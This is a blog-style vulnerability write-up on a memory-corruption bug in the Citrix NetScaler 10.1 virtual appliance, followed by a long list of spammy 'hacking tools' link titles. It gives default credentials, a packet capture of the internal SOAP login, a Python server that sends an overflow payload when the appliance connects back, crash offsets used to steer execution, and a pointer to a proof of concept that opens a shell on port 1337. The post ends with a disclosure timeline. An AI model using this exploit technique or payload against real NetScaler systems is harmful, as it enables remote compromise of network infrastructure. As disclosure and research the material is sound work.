Scaling The NetScaler

A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:

http://www.citrix.com/products/netscaler-application-delivery-controller/try.html

Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):

/etc/httpd 

# SOAP handler
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>

It wasn't clear what this end point was used for and it wasn't friendly if you hit it directly:

So I grep'd through the application code looking for any calls to this service and got a hit:

root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");

Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn't neutered with the hardcoded "$use_api = true;"

/netscaler/ns_gui/admin_ui/php/application/models/common/xmlapi_model.php

protected function command_execution($command, $parameters, $use_api = true) {
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
{
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$this->benchmark->mark("ns_exe_start");
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
"ns_exe_end");
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
} 

For giggles I set it to false and gave it a whirl, worked as expected :(

The other side of this "if" statement was a reference to making a soap call and due to the reference to the local "/soap" and the fact all roads from "do_login" were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:

root@ns# tcpdump -Ani lo0 -s0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP 127.0.0.1.49731 > 127.0.0.1.80: P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
E...>D@.@............C.P'R...2.............
..R...R.POST /soap HTTP/1.0
Host: 127.0.0.1
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string">192.168.166.1</clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string">192.168.166.138</ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP 127.0.0.1.80 > 127.0.0.1.49731: P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
E...>[@.@............P.C.2..'R.o.....\.....
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=127.0.0.1;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn't really make sense to me. I went ahead and changed the address to another VM and noticed something strange:

According to tcpdump it was trying to connect to my provided host on port 3010:

root@ns# tcpdump -A host 192.168.166.137 and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP 192.168.166.138.49392 > 192.168.166.137.3010: S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>

I fired up netcat to see what it was sending, but it was just "junk", so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn't really clear exactly what the data was as it was some sort of "binary" stream:

I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch "A" into the stream:

import socket,sys
resp = "\x00\x01\x00\x00\xa5\xa5"+ ("A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
continue
try:
s.bind(sa)
s.listen(1)
except socket.error as msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
break
print 'sending!' conn.send(resp)
print 'sent!' conn.close()

Which provided the following awesome log entry in the Netscaler VM window:

Loading the dump up in gdb we get the following (promising looking):

And the current instruction it is trying to call:

An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit "pattern_create" works great for this ("root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000"). After replacing the "A" *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:

Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP 

resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

When we run everything again and take a look at our core dump you can see we have progressed in execution and have hit another snag that causes a crash:

The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to "pattern_offset" and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:

If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )

And of course, the money shot:

A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)

It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:

6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure

Related posts

1. Pentest Tools For Mac
2. How To Make Hacking Tools
3. Hackers Toolbox
4. Hacking Tools Free Download
5. Hacker Tools Apk
6. Pentest Tools Linux
7. Github Hacking Tools
8. Hacker Tools For Ios
9. Hacker Tools Mac
10. Hack Tools For Pc
11. Pentest Tools Alternative
12. Hack App
13. Hacker Tools 2019
14. Hacking Tools 2019
15. Nsa Hacker Tools
16. Easy Hack Tools
17. What Is Hacking Tools
18. Hacking Tools Online
19. Hacking Tools 2019
20. Hacker Tools Apk Download
21. Hacker Tools Github
22. Hacking Tools Mac
23. Hacking Tools Mac
24. Tools 4 Hack
25. Hacks And Tools
26. Hacking Apps
27. Best Pentesting Tools 2018
28. Pentest Box Tools Download
29. Tools For Hacker
30. Hacker Techniques Tools And Incident Handling
31. Pentest Tools Kali Linux
32. Blackhat Hacker Tools
33. Pentest Tools Url Fuzzer
34. Hacker Techniques Tools And Incident Handling
35. Physical Pentest Tools
36. Nsa Hacker Tools
37. Hacking Tools For Windows Free Download
38. Hack Tools
39. Pentest Tools Website Vulnerability
40. Pentest Tools Linux
41. Pentest Tools For Windows
42. Hacker Tools
43. Hack Rom Tools
44. Nsa Hack Tools
45. Pentest Tools Open Source
46. Beginner Hacker Tools
47. Termux Hacking Tools 2019
48. Hacking Tools For Kali Linux
49. Hacker Tools List
50. Hacking Tools 2020
51. Hacking Tools Online
52. Hack Tools For Games
53. Hacking Tools Windows 10
54. Pentest Tools Linux
55. Termux Hacking Tools 2019
56. Physical Pentest Tools
57. Tools For Hacker
58. Pentest Tools Website
59. Termux Hacking Tools 2019
60. Hacker Tools For Mac
61. Pentest Tools For Ubuntu
62. Pentest Tools Website
63. Hacker Tools Software
64. What Is Hacking Tools
65. Hacker Tools Software
66. Hacking Tools And Software
67. Hacking Tools For Windows
68. Pentest Tools Url Fuzzer
69. New Hack Tools
70. Pentest Tools For Mac
71. How To Hack
72. Hackrf Tools
73. Hacking Tools Pc
74. What Are Hacking Tools
75. Pentest Tools For Windows
76. Kik Hack Tools
77. Hacking Tools Usb
78. World No 1 Hacker Software
79. Underground Hacker Sites
80. Pentest Automation Tools
81. Black Hat Hacker Tools
82. Pentest Tools Tcp Port Scanner
83. Hacker Tools Apk
84. Pentest Tools Linux
85. Hacking Tools
86. Hacker Tools Hardware
87. Hacking Tools Online
88. How To Install Pentest Tools In Ubuntu
89. Ethical Hacker Tools
90. Hacking Tools For Mac
91. Hacking Tools For Beginners
92. How To Make Hacking Tools
93. Hacking Tools Kit
94. Free Pentest Tools For Windows
95. Hacker Tools Free
96. Tools Used For Hacking
97. Best Hacking Tools 2019
98. Hacking Tools Download
99. Termux Hacking Tools 2019
100. Hack Tools
101. Pentest Tools For Mac
102. Hacker
103. Hack Tools Online
104. Pentest Tools Nmap
105. Pentest Tools Alternative
106. Pentest Tools Windows
107. Pentest Tools Open Source
108. Wifi Hacker Tools For Windows
109. Github Hacking Tools
110. Hacking Tools For Pc
111. Pentest Tools For Android
112. Hack Tools For Ubuntu
113. Hack Tools Pc
114. Pentest Reporting Tools
115. Hacker Tools For Ios
116. Hack Tools For Pc
117. Hacker Tools Github
118. Hack Tool Apk
119. Pentest Tools Apk
120. Computer Hacker
121. New Hacker Tools
122. Pentest Tools Review
123. Hacking Tools For Pc
124. Hack Tools For Pc
125. Hacker Tools Software
126. Hacker Tools Github
127. Kik Hack Tools
128. Hacker
129. Hacker Tools For Ios
130. Hacking Tools Windows
131. Pentest Tools Website Vulnerability
132. Hacker Tools Linux
133. Hack Tool Apk No Root
134. Termux Hacking Tools 2019
135. Bluetooth Hacking Tools Kali
136. Hacker Tools Software
137. Top Pentest Tools
138. Hacking Tools Download
139. Pentest Tools For Mac